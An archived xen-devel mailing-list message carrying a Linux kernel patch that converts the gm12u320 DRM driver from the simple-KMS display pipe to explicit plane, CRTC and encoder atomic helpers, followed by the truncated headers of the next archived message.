 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 11:03:27 +0200
Received: from [205.220.168.131] (helo=mx0a-0031df01.pphosted.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a589e5d-5984-0a2a45010019-cddca883babe-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 11:03:26 +0200
Received: from pps.filterd (m0279864.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66G7DkOR1734158
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 09:03:25 GMT
Received: from mail-pl1-f198.google.com (mail-pl1-f198.google.com
 [209.85.214.198])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4fed063hh8-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 09:03:24 +0000 (GMT)
Received: by mail-pl1-f198.google.com with SMTP id
 d9443c01a7336-2cd01a14e81so94454835ad.1
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 02:03:24 -0700 (PDT)
Received: from le-cd01-lnx.qualcomm.com ([114.94.8.21])
 by smtp.gmail.com with ESMTPSA id
 d9443c01a7336-2cf106b271asm16592555ad.64.2026.07.16.02.03.16
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Thu, 16 Jul 2026 02:03:23 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-Id:MIME-Version:References:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="Cc:To:In-Reply-To:References:Message-Id:Content-Transfer-Encoding:Content-Type:MIME-Version:Subject:Date:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=qcppdkim1; bh=
	MeSqLazRYgr33B487FeWpWmBWUCKqNkEYXob2j87zRQ=; b=FXVHZpAGJedoRTh8
	n3RpC40OMzwvSPs0hVWwrGEzYyj8qIUe/ElinbQoYVKUsjih/3bJr0JspEfwiHkT
	Hv/bd0/PKRu0B/lwGk43bnVxZ/sfaN/AkKfYjGhdDh+NH6EgBvQXIjRt/ihZNyEW
	CwM7Yw1OwPFp7rmw44bTwGXrmfddtvT/X6D+PRlQHfbk8X18hGykq59dMxKQjHif
	PVH8MGdgMNItGElve/sqSJW2uUH7S6OEIcwfZfDvhvtGQAf2JJynU6mT4tiMyb1U
	/kl3+u71Qlb7J5NdtCaWqSVRb5DG0q0y07ik4skRubojZqf8kd5kJd51wT3oVoKL
	yNwKmQ==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1784192604; x=1784797404; darn=lists.xenproject.org;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :content-type:mime-version:subject:date:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=MeSqLazRYgr33B487FeWpWmBWUCKqNkEYXob2j87zRQ=;
        b=R6Jq/umbq0K8CM25aOTwSRBvjXcwZwZ0R8VIWn1N2ymwHdPkP3w9NH5cGOQ86q9CfI
         Yl5EdqrcAwHHKJCwb5QSXVVkv40GkRR0kjawrWsGHK3n4Sm0aDXFpt0WSXaMA9ALDd/W
         pSYfhoCIepnzZflUYSJHQIiX6GTQNacrFEARsTp0/G1pwYaKhSl1Ks3/jgYXTD29VcCf
         5RlXh1n/LAj40nIgDzXFaBfidwW6f/4Jrj3SXGjCy3Kjz8+lKgx2HzTODHc/vDmrhHhb
         LXTIz8ISCXPtfpz4jFiyDuOtQfno8gG3tXEDMlXgwCY+WH/bN/oTt+vnUZ2G5uIPGgq9
         bECw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784192604; x=1784797404;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :content-type:mime-version:subject:date:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=MeSqLazRYgr33B487FeWpWmBWUCKqNkEYXob2j87zRQ=;
        b=cyuUqDU1vgla57xa89rK99f8ytUYblrCQi24399i7b51iwCtx341TEYhe0PzycTkWn
         moI8ZelhUZ/HOwpf6MPa/kDFCSAToDZQLiXf9vEpmLi2uQUYZmGe7da1IbmWgJGqm4Cg
         WA6Y/BuuUZ515jwoDrIZejjAO+dM2b3dvI4y5f9GZqYHAPhqt+NvabIIOJNG8brW0IuK
         X2CyUDnc6wrxdLSPIHs3Q9h1I0OOt89as/fPuyxFI9YUPbofSsU/1UsL2vNV16sqwDWc
         QwU0OVdw9krp4NF0V1hN5oSaZpcCR62djk/igToWfxNzvBZL1U0kBIEIQbVRyK/zVlQO
         8kQw==
X-Forwarded-Encrypted: i=1; AHgh+RrAbWMVFwkF5zs9ACjD406SjAJLzuMPUasJa2yl+ubf9aLbo2ieFNmZbEIxMSXZxvWX+pXOfwSPlK4=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzCzH2aGXZaNStR6JvbyE5a6z0yC+Pl4OTwxLv32guRumedbKPU
	1FrnWSzn+Fbc18GW+RFVNvLJEicGmLogRTZyIiUz1mIMypw4q0r+duYl+kgHp5HESX1Vw7G2Y0n
	gMn46qS3t7Q0kOxyMOlyxmw3Cx/Ds5ednlVojUgnz2ZPmS7WGy/fMu23TBPzIgHsoF0yb89BfBh
	yq9jBH
X-Gm-Gg: AfdE7cm8H5wWhvIPh0woE+IveJ3Zh0JnJ3h9ZoZUTy9/l8/wQuCXfSHpI2RLiN4sLrx
	py6zToVfNPEnJfsZIEFPtHN8g/1qUaWNoFEkGbGR1IVoA1tuLwE2rfTKA/eadNGdMoGWMjANsfv
	3rOEU7GoE3jP14Gkc6TwOEfQfuCgIezPLtT4YNBEt+zQ0YUPZWZVfdSKAr2phQdObnfBsJ22WeR
	9FIe5lNGnL/oPNs6+UcvC6nC1O27Z3ht+hfoQ96oJs6RnXIbGetTFDh1+HB47/fu/to2v+KxVUI
	Y7lOClCqLkx2+P5EQ0jZzFhDDdsZkGQKHZkZe5ouuJhFVV7sWepfnfG424hWh6p8w5RHzxEiDB4
	kKlADQdNqtclx9TrbZoMB
X-Received: by 2002:a17:902:ecc4:b0:2ca:b8d:e65e with SMTP id d9443c01a7336-2cf03dc62b5mr62673265ad.37.1784192604113;
        Thu, 16 Jul 2026 02:03:24 -0700 (PDT)
X-Received: by 2002:a17:902:ecc4:b0:2ca:b8d:e65e with SMTP id d9443c01a7336-2cf03dc62b5mr62672665ad.37.1784192603523;
        Thu, 16 Jul 2026 02:03:23 -0700 (PDT)
From: Ze Huang <ze.huang@oss.qualcomm.com>
Date: Thu, 16 Jul 2026 17:01:57 +0800
Subject: [PATCH v2 5/8] drm/gm12u320: replace struct
 drm_simple_display_pipe with regular atomic helpers
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260716-drm-simple-kms-removal-v2-5-1133a8fc3785@oss.qualcomm.com>
References: <20260716-drm-simple-kms-removal-v2-0-1133a8fc3785@oss.qualcomm.com>
In-Reply-To: <20260716-drm-simple-kms-removal-v2-0-1133a8fc3785@oss.qualcomm.com>
To: Alexey Brodkin <abrodkin@synopsys.com>,
        Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
        Maxime Ripard <mripard@kernel.org>,
        Thomas Zimmermann <tzimmermann@suse.de>,
        David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
        Joel Stanley <joel@jms.id.au>,
        Andrew Jeffery <andrew@codeconstruct.com.au>,
        Frank Li <Frank.Li@nxp.com>, Sascha Hauer <s.hauer@pengutronix.de>,
        Pengutronix Kernel Team <kernel@pengutronix.de>,
        Fabio Estevam <festevam@gmail.com>, Linus Walleij <linusw@kernel.org>,
        Hans de Goede <hansg@kernel.org>,
        Alex Lanzano <lanzano.alex@gmail.com>,
        Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>
Cc: dri-devel@lists.freedesktop.org, linux-kernel@vger.kernel.org,
        linux-aspeed@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org,
        imx@lists.linux.dev, xen-devel@lists.xenproject.org,
        Ze Huang <ze.huang@oss.qualcomm.com>
X-Mailer: b4 0.14.3
X-Developer-Signature: v=1; a=ed25519-sha256; t=1784192560; l=7964;
 i=ze.huang@oss.qualcomm.com; s=20260716; h=from:subject:message-id;
 bh=clrd2wPCUImRmnt9dUsqbH/TK0mbxMgUhxeWagkxE+4=;
 b=0oRyaLEkb6eanKq6iqSl6wa+hGMmW3tOf5ZzNUvdnQ1H3jNsbTzi9cLXyJD2dE3oAeyIW6luo
 TPO40xg3wNsAgnlI+cgNB4ljxIOqwV95/AiRUDhwKVkGVCOsCip/o0W
X-Developer-Key: i=ze.huang@oss.qualcomm.com; a=ed25519;
 pk=8uGhlZHInA8NXq7G6u/g59qEcwXwuMRI7nBSnT/ijtY=
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzE2MDA5MSBTYWx0ZWRfXwx3G8v0L4d/7
 j10wLSfv3sZBpg4hiD80btGoi/CmT6ErcoOuN2YSlDtWfqZ8XUhx/2UTGYurt+VDzMnTdyafTEW
 5IgAahov0KFrqzHkP7mvt3IVNw/hLzA=
X-Proofpoint-GUID: uWJ-MOP4YTyBF8V6JnJGn2gcQJHfEN2a
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzE2MDA5MSBTYWx0ZWRfX3uxatpS/3En8
 a60eHwjw28PQMKqKcHEGXWsftxYlhjeBiwU76p6spvinKoHIEnDNhTnSgnlqCcUG4TomdwULz5M
 7GtcjSDCZ15AiLe+Di4nOnYxc7ahPwbrmIyhe8IGVLTm9BzAq5M7r4c3xpa8Y8DXwEMVUWP8Zl5
 5D3nqn/4PJBsubqX9Kxob2a7ulQlvqfNexCKioxqi/j6jr/KAv/Oe/9daulGodbT82bBAsMYpNO
 xwdPp+JSIe4UKcfhQUOQ6/9hxqKi2aLEChEbTghcHYV7Qa1u1ScSl90xMJFigcT/gxpkIyGVOum
 OlvkOTbSw5J2aLuey6Mp1WtGiUSDSrgjrxqa+PSGki0w4uswSQtCMIYhHRPXHlrbV4GpHE3lI+0
 DQhk70CLeTF/bHHIsqf+j/xqxQRfvfllSJFrL6o7d85W64KFnwhc1DRQa9/TTDzvd6hUuFRUv4v
 OXab0tVjMGql992bqOw==
X-Authority-Analysis: v=2.4 cv=Xb25Co55 c=1 sm=1 tr=0 ts=6a589e5c cx=c_pps
 a=MTSHoo12Qbhz2p7MsH1ifg==:117 a=Uz3yg00KUFJ2y2WijEJ4bw==:17
 a=IkcTkHD0fZMA:10 a=RAioF0-LDSMA:10 a=s4-Qcg_JpJYA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=u7WPNUs3qKkmUXheDGA7:22 a=DJpcGTmdVt4CTyJn9g5Z:22
 a=EUspDBNiAAAA:8 a=g95SU4BBbiomblFqym4A:9 a=QEXdDO2ut3YA:10
 a=GvdueXVYPmCkWapjIL-Q:22
X-Proofpoint-ORIG-GUID: uWJ-MOP4YTyBF8V6JnJGn2gcQJHfEN2a
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-16_03,2026-07-15_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 clxscore=1015 spamscore=0 priorityscore=1501 suspectscore=0 bulkscore=0
 impostorscore=0 malwarescore=0 adultscore=0 lowpriorityscore=0 phishscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607160091
X-purgate-ID: tlsNG-d62444/1784192607-1D67C757-A7371AEC/0/0
X-purgate-type: clean
X-purgate-size: 7966

Convert gm12u320 to direct primary plane, CRTC and encoder setup.

Keep shadow-plane helper state, framebuffer access helpers and
no-scaling plane-state check from simple-KMS path.

Reviewed-by: Thomas Zimmermann <tzimmermann@suse.de>
Tested-by: Thomas Zimmermann <tzimmermann@suse.de>
Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>
---
 drivers/gpu/drm/tiny/gm12u320.c | 132 ++++++++++++++++++++++++++++++++--------
 1 file changed, 107 insertions(+), 25 deletions(-)

diff --git a/drivers/gpu/drm/tiny/gm12u320.c b/drivers/gpu/drm/tiny/gm12u320.c
index d73dfebb4353..df60968856e5 100644
--- a/drivers/gpu/drm/tiny/gm12u320.c
+++ b/drivers/gpu/drm/tiny/gm12u320.c
@@ -8,6 +8,7 @@
 #include <linux/usb.h>
 
 #include <drm/clients/drm_client_setup.h>
+#include <drm/drm_atomic.h>
 #include <drm/drm_atomic_helper.h>
 #include <drm/drm_atomic_state_helper.h>
 #include <drm/drm_connector.h>
@@ -27,7 +28,6 @@
 #include <drm/drm_modeset_helper_vtables.h>
 #include <drm/drm_print.h>
 #include <drm/drm_probe_helper.h>
-#include <drm/drm_simple_kms_helper.h>
 
 static bool eco_mode;
 module_param(eco_mode, bool, 0644);
@@ -87,7 +87,9 @@ MODULE_PARM_DESC(eco_mode, "Turn on Eco mode (less bright, more silent)");
 
 struct gm12u320_device {
 	struct drm_device	         dev;
-	struct drm_simple_display_pipe   pipe;
+	struct drm_plane	         plane;
+	struct drm_crtc		         crtc;
+	struct drm_encoder	         encoder;
 	struct drm_connector	         conn;
 	unsigned char                   *cmd_buf;
 	unsigned char                   *data_buf[GM12U320_BLOCK_COUNT];
@@ -102,7 +104,10 @@ struct gm12u320_device {
 	} fb_update;
 };
 
-#define to_gm12u320(__dev) container_of(__dev, struct gm12u320_device, dev)
+static struct gm12u320_device *to_gm12u320(struct drm_device *__dev)
+{
+	return container_of(__dev, struct gm12u320_device, dev);
+}
 
 static const char cmd_data[CMD_SIZE] = {
 	0x55, 0x53, 0x42, 0x43, 0x00, 0x00, 0x00, 0x00,
@@ -554,43 +559,104 @@ static int gm12u320_conn_init(struct gm12u320_device *gm12u320)
 }
 
 /* ------------------------------------------------------------------ */
-/* gm12u320 (simple) display pipe				      */
+/* gm12u320 display pipe					      */
 
-static void gm12u320_pipe_enable(struct drm_simple_display_pipe *pipe,
-				 struct drm_crtc_state *crtc_state,
-				 struct drm_plane_state *plane_state)
+static void gm12u320_crtc_helper_atomic_enable(struct drm_crtc *crtc,
+					       struct drm_atomic_commit *commit)
 {
 	struct drm_rect rect = { 0, 0, GM12U320_USER_WIDTH, GM12U320_HEIGHT };
-	struct gm12u320_device *gm12u320 = to_gm12u320(pipe->crtc.dev);
+	struct gm12u320_device *gm12u320 = to_gm12u320(crtc->dev);
+	struct drm_plane_state *plane_state = gm12u320->plane.state;
 	struct drm_shadow_plane_state *shadow_plane_state = to_drm_shadow_plane_state(plane_state);
 
 	gm12u320->fb_update.draw_status_timeout = FIRST_FRAME_TIMEOUT;
 	gm12u320_fb_mark_dirty(plane_state->fb, &shadow_plane_state->data[0], &rect);
 }
 
-static void gm12u320_pipe_disable(struct drm_simple_display_pipe *pipe)
+static void gm12u320_crtc_helper_atomic_disable(struct drm_crtc *crtc,
+						struct drm_atomic_commit *commit)
 {
-	struct gm12u320_device *gm12u320 = to_gm12u320(pipe->crtc.dev);
+	struct gm12u320_device *gm12u320 = to_gm12u320(crtc->dev);
 
 	gm12u320_stop_fb_update(gm12u320);
 }
 
-static void gm12u320_pipe_update(struct drm_simple_display_pipe *pipe,
-				 struct drm_plane_state *old_state)
+static void gm12u320_plane_helper_atomic_update(struct drm_plane *plane,
+						struct drm_atomic_commit *commit)
 {
-	struct drm_plane_state *state = pipe->plane.state;
+	struct drm_plane_state *old_state = drm_atomic_get_old_plane_state(commit, plane);
+	struct drm_plane_state *state = drm_atomic_get_new_plane_state(commit, plane);
 	struct drm_shadow_plane_state *shadow_plane_state = to_drm_shadow_plane_state(state);
 	struct drm_rect rect;
 
+	if (!state->fb)
+		return;
+
 	if (drm_atomic_helper_damage_merged(old_state, state, &rect))
 		gm12u320_fb_mark_dirty(state->fb, &shadow_plane_state->data[0], &rect);
 }
 
-static const struct drm_simple_display_pipe_funcs gm12u320_pipe_funcs = {
-	.enable	    = gm12u320_pipe_enable,
-	.disable    = gm12u320_pipe_disable,
-	.update	    = gm12u320_pipe_update,
-	DRM_GEM_SIMPLE_DISPLAY_PIPE_SHADOW_PLANE_FUNCS,
+static const struct drm_plane_funcs gm12u320_plane_funcs = {
+	.update_plane	= drm_atomic_helper_update_plane,
+	.disable_plane	= drm_atomic_helper_disable_plane,
+	.destroy	= drm_plane_cleanup,
+	DRM_GEM_SHADOW_PLANE_FUNCS,
+};
+
+static int gm12u320_plane_helper_atomic_check(struct drm_plane *plane,
+					      struct drm_atomic_commit *commit)
+{
+	struct drm_plane_state *plane_state = drm_atomic_get_new_plane_state(commit, plane);
+	struct drm_crtc *crtc = plane_state->crtc;
+	struct drm_crtc_state *crtc_state = NULL;
+
+	if (crtc)
+		crtc_state = drm_atomic_get_new_crtc_state(commit, crtc);
+
+	return drm_atomic_helper_check_plane_state(plane_state, crtc_state,
+						   DRM_PLANE_NO_SCALING,
+						   DRM_PLANE_NO_SCALING,
+						   false, false);
+}
+
+static const struct drm_plane_helper_funcs gm12u320_plane_helper_funcs = {
+	DRM_GEM_SHADOW_PLANE_HELPER_FUNCS,
+	.atomic_check	= gm12u320_plane_helper_atomic_check,
+	.atomic_update	= gm12u320_plane_helper_atomic_update,
+};
+
+static int gm12u320_crtc_helper_atomic_check(struct drm_crtc *crtc,
+					     struct drm_atomic_commit *commit)
+{
+	struct drm_crtc_state *crtc_state = drm_atomic_get_new_crtc_state(commit, crtc);
+	int ret;
+
+	if (crtc_state->enable) {
+		ret = drm_atomic_helper_check_crtc_primary_plane(crtc_state);
+		if (ret)
+			return ret;
+	}
+
+	return drm_atomic_add_affected_planes(commit, crtc);
+}
+
+static const struct drm_crtc_helper_funcs gm12u320_crtc_helper_funcs = {
+	.atomic_check	= gm12u320_crtc_helper_atomic_check,
+	.atomic_enable	= gm12u320_crtc_helper_atomic_enable,
+	.atomic_disable	= gm12u320_crtc_helper_atomic_disable,
+};
+
+static const struct drm_crtc_funcs gm12u320_crtc_funcs = {
+	.set_config		= drm_atomic_helper_set_config,
+	.page_flip		= drm_atomic_helper_page_flip,
+	.reset			= drm_atomic_helper_crtc_reset,
+	.destroy		= drm_crtc_cleanup,
+	.atomic_duplicate_state	= drm_atomic_helper_crtc_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_crtc_destroy_state,
+};
+
+static const struct drm_encoder_funcs gm12u320_encoder_funcs = {
+	.destroy = drm_encoder_cleanup,
 };
 
 static const uint32_t gm12u320_pipe_formats[] = {
@@ -677,13 +743,29 @@ static int gm12u320_usb_probe(struct usb_interface *interface,
 	if (ret)
 		return ret;
 
-	ret = drm_simple_display_pipe_init(&gm12u320->dev,
-					   &gm12u320->pipe,
-					   &gm12u320_pipe_funcs,
-					   gm12u320_pipe_formats,
-					   ARRAY_SIZE(gm12u320_pipe_formats),
-					   gm12u320_pipe_modifiers,
-					   &gm12u320->conn);
+	ret = drm_universal_plane_init(dev, &gm12u320->plane, 0,
+				       &gm12u320_plane_funcs,
+				       gm12u320_pipe_formats,
+				       ARRAY_SIZE(gm12u320_pipe_formats),
+				       gm12u320_pipe_modifiers,
+				       DRM_PLANE_TYPE_PRIMARY, NULL);
+	if (ret)
+		return ret;
+	drm_plane_helper_add(&gm12u320->plane, &gm12u320_plane_helper_funcs);
+
+	ret = drm_crtc_init_with_planes(dev, &gm12u320->crtc, &gm12u320->plane, NULL,
+					&gm12u320_crtc_funcs, NULL);
+	if (ret)
+		return ret;
+	drm_crtc_helper_add(&gm12u320->crtc, &gm12u320_crtc_helper_funcs);
+
+	ret = drm_encoder_init(dev, &gm12u320->encoder, &gm12u320_encoder_funcs,
+			       DRM_MODE_ENCODER_NONE, NULL);
+	if (ret)
+		return ret;
+	gm12u320->encoder.possible_crtcs = drm_crtc_mask(&gm12u320->crtc);
+
+	ret = drm_connector_attach_encoder(&gm12u320->conn, &gm12u320->encoder);
 	if (ret)
 		return ret;
 

-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 16 09:03:37 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 09:03:37 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363592.1615192 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkI0H-0003e3-86; Thu, 16 Jul 2026 09:03:37 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363592.1615192; Thu, 16 Jul 2026 09:03:37 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkI0H-0003du-1e; Thu, 16 Jul 2026 09:03:37 +0000
Received: by outflank-mailman (input) for mailman id 1363592;
 Thu, 16 Jul 2026 09:03:35 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ze.huang@oss.qualcomm.com>) id 1wkI0F-0003Wo-28
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 09:03:35 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkI0E-00HX3j-EJ
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 11:03:34 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a589e66-bab6-0a2a0a5309dd-0a2a4501bef8-0
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 11:03:34 +0200
Received: from [205.220.168.131] (helo=mx0a-0031df01.pphosted.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a589e64-5984-0a2a45010019-cddca8830906-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 11:03:34 +0200
Received: from pps.filterd (m0279862.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66G7EDIx1884306
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 09:03:32 GMT
Received: from mail-pl1-f200.google.com (mail-pl1-f200.google.com
 [209.85.214.200])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4feehvaxf6-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 09:03:31 +0000 (GMT)
Received: by mail-pl1-f200.google.com with SMTP id
 d9443c01a7336-2ccd1958e8fso43046745ad.2
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 02:03:31 -0700 (PDT)
Received: from le-cd01-lnx.qualcomm.com ([114.94.8.21])
 by smtp.gmail.com with ESMTPSA id
 d9443c01a7336-2cf106b271asm16592555ad.64.2026.07.16.02.03.23
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Thu, 16 Jul 2026 02:03:30 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-Id:MIME-Version:References:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="Cc:To:In-Reply-To:References:Message-Id:Content-Transfer-Encoding:Content-Type:MIME-Version:Subject:Date:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=qcppdkim1; bh=
	9iNA4KkLXptEcrV9SWqVHRxO4EssLZecMFzgSPlpRjI=; b=jmdPtyHrCF2ywVB5
	hrIupyUZanurfxmEAAZZ9jT2a9GiC7DNBF9beXbCihI0oOgPiHl6BO02ffL65YC3
	Ml8DHtUml5SlEAFpiJH/Dtb/oMSdbQmCltUTV0UCcBQzR6i2nSupZUHzgs53gvpf
	0CuwKKNG6m/2oUZwVF1Fxj0qGjRKn+D5sauSFkjNF3N0YaT04xnKd2NO1uwOBkIi
	7jGDbMssRNsnFvcksJU8BVY0/XvgQQMlH4mgG3CboAdbQk/WVYgn+vnXsWdCZfnv
	1lr0LgmPqqPkzSGIBnWZL8F3BCDLwKEn+Jq16zrFVDveUw8Rq0C7x0JhFggTEvZv
	UBiZwQ==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1784192611; x=1784797411; darn=lists.xenproject.org;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :content-type:mime-version:subject:date:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=9iNA4KkLXptEcrV9SWqVHRxO4EssLZecMFzgSPlpRjI=;
        b=LraynV9CKxwW9Xoz2ZRMT+Zq9uH328q1muHLY+W/ghJB3J0F7UJlE+gM+lNKyRm9P9
         gSpb2NsxkE9lojV2HgKb4B8EdST17436SsJvzYJJX388X/7OBF7uWwMqefh9T8D8c10j
         6YkH4hdvBRjPsZxbrKr5wneG9KF/XM1/cJ8BVdNNcMZmKikQKUDR+TRayl7iF/u5xvox
         6ir6qR0EhChTc3u4Mi5a7InnzF6ipIGi0pXaNl03XRe5qXVzZYy+h6fldOQIJw5mFlko
         zPk1ML4wzDbCdLbGism0SuaWWfvQAx5JBwoDq3EXqmWgedQbWTGedA+ShmdhbE+y2KVL
         RmBA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784192611; x=1784797411;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :content-type:mime-version:subject:date:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=9iNA4KkLXptEcrV9SWqVHRxO4EssLZecMFzgSPlpRjI=;
        b=GCKXCEULniLykScMBocTHrdAWrrMsn2WxPIOkyTvyJbTOjp93fQC1wVUvOrTI5ZMFk
         HWZCPV9XyK4mRkvb+SbLylJj0snAAoRWB1QBrNXHsobqwydS7K9mzJOAbtFqPOPt6KJA
         TulWeILQZiCpuUrKJ+cfrWP/UTlsM3pYcg+R/eM6iMae03i3Gt9A8vn+h7MrkQmh+zcb
         y6uNirTfTsstqnXvDWLmN12t63gFL9orFqEfYmXYKTQSM7LpA0n0pjy9wlpKGgh7iVSI
         aSJY/0bv4IgJxRIOJactDDIxTlMlUaGPLDhaR+lyzP+7zrTBcYAZbNoKCFRVSmisn2FE
         2eIg==
X-Forwarded-Encrypted: i=1; AHgh+Rry20qwr7Jt2KPGnLgANt7s8lOVrTfGly+4W/gFgigJvhi9xPibavh7Pc1csUWd6NrGY5ChmPhXxN4=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzS0uiPbLNYMm5RWB5B+gqvSvKCnnSpb830hUT9c+BeT4DO6Hzk
	o/uXPA8WU1KxvBFfRy2S32oO2Js6k9GPTH01eTmOoexw8cmn0BPPSViNJxsKqUZdbLsjnNueItm
	pV5MnnZU18/R0Zfd/ezQ6UPQ7Z3V3H+TuP5coCsGWV65+Bo+vwHcYFh3YaMfcMo295XcDuV9Xul
	vD6Vpj
X-Gm-Gg: AfdE7clUKSvt6vTMMVnYzo2uj0plk3PYEDRCgdgUuWnXvy0hwLCmMJenSHoDJwCzwtc
